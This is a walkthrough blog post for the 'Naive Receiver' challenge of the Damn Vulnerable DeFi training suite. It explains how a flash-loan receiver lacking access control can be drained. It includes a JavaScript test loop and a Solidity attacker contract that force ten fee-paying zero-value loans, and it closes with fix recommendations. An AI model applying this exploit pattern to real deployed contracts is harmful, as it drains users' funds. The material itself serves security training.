Damn Vulnerable DeFI 2022 Walkthrough — Challenge 2 Solution “Naive Receiver”

Welcome to the second Damn Vulnerable DeFI challenge walkthrough!

In today’s article, I will show you how to hack the naive receiver smart contract step by step.

The Damn Vulnerable DeFi teaches offensive security techniques for DeFi smart contracts. You will develop your skills as a bug hunter or security auditor through numerous challenges.

I would like to thank @tinchoabbate for creating Damn Vulnerable Defi.

Here is a video showing how to solve the challenge of the “Naive Receiver”:

“Naive Receiver” (Challenge 2)

Our next challenge involves lending pools and flash loans, this time we need to attack the users who request the loan. Here are the instructions:

There’s a lending pool offering quite expensive flash loans of Ether, which has 1000 ETH in balance.

You also see that a user has deployed a contract with 10 ETH in balance, capable of interacting with the lending pool and receiveing flash loans of ETH.

Drain all ETH funds from the user’s contract. Doing it in a single transaction is a big plus ;)

Naive Receiver contracts

Attacker’s Goal

Ultimately, our goal is to drain all the funds from the user’s contract. In this case, draining is not necessarily stealing those funds; it could simply be transferring funds from the contract without the consent of the user.

The “FlashLoanReceiver” Contract

Users interact with the lending pool that offers flash loans through this contract. When a user requests a flash loan, the lending pool calls the callback function receiveEther.

The receiveEther function has a single parameter called fee specifies how much the user must repay the lending pool for a flash loan. There are some security/validation checks in the function:

  • Both the loan and its fee are repaid from the contract’s balance

  • The msg.sender is indeed the lending pool address where the callback is expected to be made

  • When checking that it will execute the internal logic that will benefit from the flash loan by calling _executeActionDuringFlashLoan and repaying the loan by sending back the borrowed amount plus a fee

The “NaiveReceiverLenderPool” Contract

In this contract, flash loans are provided at a fixed fee of 1 ETH. Here are the parameters for the flashLoan function:

  • borrower — address that will receive the borrow

  • borrowAmount — the amount of ether that will be sent to the borrower contract

The functionality is as followers:

  • Ensure that the contract balance exceeds the requested loan amount

  • The borrower is not an EOA, but rather a contract. It is needed since the lending pool will call a specific callback that must be implemented by the contract in order to send the borrowed amount.

  • With the fee amount as the parameter, call receiveEther on the borrower.

  • The contract checks that the newly updated balance of the contract is equal to or greater than the balance before the flash loan plus the 1 ETH fee after the flash loan is completed.

The Vulnerabilities

In the FlashLoanReceiver contract implementation, the following vulnerabilities were found:

  • receiveEther() lacks proper access control, so anyone can make a flash loan on behalf of the receiver.

  • Every time anyone calls the receiveEther() function, it gives away 1 ETH to the pool without verifying that the contract received ETH.

The attack

Option 1

Call the flashLoan() function 10 times on NaiveReceiverLenderPool, passing 0 as borrowAmount and the address of the FlashLoanReceiver contract as borrower. FlashLoanReceiver’s receiveEther() function will drain the 10 ETH from the contract and send them to the pool.

Here it the code:

it('Exploit', async function ()

  for(var i = 0; i < 10; i++){
    await this.pool.connect(attacker).flashLoan(this.receiver.address, 0);
  }

});{

And the results:

Option 2

The second option involves writing a contract (I called it NaiveReceiverAttacker) that calls the flashLoan()function and attacks in a similar manner to option 1 (invoking it 10 times).

The attack() function of our attacker contract is executed only once, and this function calls NaiveReceiverLenderPool 10 times for us, achieving the same result as we did with option 1.

Attacker’s contract code (NaiveReceiverAttack.sol):

// SPDX-License-Identifier: MI
pragma solidity ^0.8.0;

interface IPool {
    function flashLoan(address borrower, uint256 borrowAmount) external;
}

contract NaiveReceiverAttacker {
    IPool pool;

    constructor(address payable _poolAddress) public {
        pool = IPool(_poolAddress);
    }

    function attack(address victim) external {
        for(uint i; i < 10; i++){
            pool.flashLoan(victim, 0);
        }
    }
}

JS file:

it('Exploit', async function ()

  const AttackerFactory = await ethers.getContractFactory('NaiveReceiverAttacker', attacker);
        this.attackerContract = await AttackerFactory.deploy(this.pool.address);
        await this.attackerContract.attack(this.receiver.address);

});{

And the result:

😎 🤯

Security Recommendations

  1. Calculate the difference between ETH received and ETH transferred. A require() statement should be written to ensure that the amount of ETH received via the flash loan is greater than a logical amount, such as 1 ETH for the fixed fee.

  2. Access control should be implemented. To ensure that only the owner can call receiveEther() on behalf of the FlashLoanReceiver contract, declare a contract owner and place a require() statement inside the function.

Congratulation guys, you completed the second Damn Vulnerable DEFI challenge!

About GingerSec

Ex black-hat hackers at your service — all worked for state intelligence agencies in their past (ask us about it!) 🕵️

Get your FREE consultation

Next:

Until next time,

JohnnyTime @ GingerSec.